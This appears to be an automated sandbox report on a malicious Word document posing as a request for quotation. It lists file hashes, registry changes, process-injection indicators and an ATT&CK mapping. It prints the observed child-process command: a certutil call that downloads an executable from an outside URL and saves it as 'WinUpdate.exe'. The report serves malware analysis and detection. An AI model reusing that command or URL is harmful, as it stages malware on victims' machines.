b995f53ac55eb6ce01af25e1cc21f26bf182aaf97e7c09be062250bf8e5df4b6

General

Target

RFQ 80479040.doc
Size

62KB
MD5

31c3a3ef341ada198075d57bf07cc03d
SHA1

d8ee2ef6d1066ce0fd1f95784c4381374d890adf
SHA256

b995f53ac55eb6ce01af25e1cc21f26bf182aaf97e7c09be062250bf8e5df4b6
SHA512

a00412dd6ecaa738b6a7c58b76e578bba9ae7fca4b475667fa6198822f094b88b253938fb9d8f5eb94a1da0fd0f84c513cbab52c06dbcaf0e39520b217301b42
SSDEEP

384:OkUgY5j96eYPKNiaI1WAE7OCb8iSUR/8dEv8krqrf4INzte/DZeIESy3uGjGWi2S:OP5I5I/q/qsfZ3qHGjG/owKSqXI

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

certutil.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2020	1928	certutil.exe	WINWORD.EXE

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1928 WINWORD.EXE
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

1928 WINWORD.EXE
1928 WINWORD.EXE
1928 WINWORD.EXE
1928 WINWORD.EXE
1928 WINWORD.EXE
1928 WINWORD.EXE
1928 WINWORD.EXE

pid	process
1928	WINWORD.EXE

pid	process
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE
1928	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1928 wrote to memory of 2020	1928	WINWORD.EXE	certutil.exe
PID 1928 wrote to memory of 2020	1928	WINWORD.EXE	certutil.exe
PID 1928 wrote to memory of 2020	1928	WINWORD.EXE	certutil.exe
PID 1928 wrote to memory of 2020	1928	WINWORD.EXE	certutil.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\RFQ 80479040.doc"
1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\SysWOW64\certutil.exe
"C:\Windows\System32\certutil.exe" -urlcache -split -f https://teqturn.com/goblin/ea05f1fD14F2Jju.exe C:\Users\Admin\AppData\Local\Temp\WinUpdate.exe
2⤵
- Process spawned unexpected child process
PID:2020

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1928-60-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-54-0x0000000072D01000-0x0000000072D04000-memory.dmp

Filesize
12KB

Download
memory/1928-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1928-57-0x000000007176D000-0x0000000071778000-memory.dmp

Filesize
44KB

Download
memory/1928-58-0x00000000762B1000-0x00000000762B3000-memory.dmp

Filesize
8KB

Download
memory/1928-59-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-55-0x0000000070781000-0x0000000070783000-memory.dmp

Filesize
8KB

Download
memory/1928-61-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-67-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-63-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-62-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-71-0x000000000054B000-0x0000000000550000-memory.dmp

Filesize
20KB

Download
memory/1928-77-0x000000007176D000-0x0000000071778000-memory.dmp

Filesize
44KB

Download
memory/2020-75-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads